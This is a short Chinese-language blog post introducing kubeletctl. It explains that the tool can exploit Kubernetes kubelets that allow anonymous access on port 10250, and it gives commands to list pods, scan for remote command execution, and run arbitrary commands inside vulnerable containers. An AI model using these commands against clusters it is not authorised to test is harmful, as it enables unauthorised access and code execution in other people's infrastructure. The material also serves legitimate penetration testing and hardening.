简介

kubeletctl 是一个用于与 Kubernetes 中的 kubelet 进行交互的命令行工具。它提供了一种简便的方法来管理和操作 kubelet,包括获取节点信息、查看容器状态以及执行其他与 kubelet 相关的任务。通过 kubeletctl,用户可以更有效地监控和调试 Kubernetes 集群中的节点和容器。同时kubeletctl 还可以使用 RCE 扫描现有的容器,对于存在RCE的容器可以进行命令执行等多种功能。

需要注意的是,K8S环境中的Kubelet必须接受匿名访问(10250端口),才可以使用此工具进行利用。

使用演示

快速使用

对目标K8S主机的Kubelet未授权进行利用,获取POD的信息

kubeletctl -s <IP> pods

对目标K8S主机的Kubelet未授权进行利用,使用RCE扫描存在的Pod

kubeletctl -s <IP> scan rce

对目标K8S中存在RCE漏洞的Pod进行命令执行

kubeletctl -s <IP> exec “<cmd>” -n <namespace> -p <pod name> -c <container name>

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注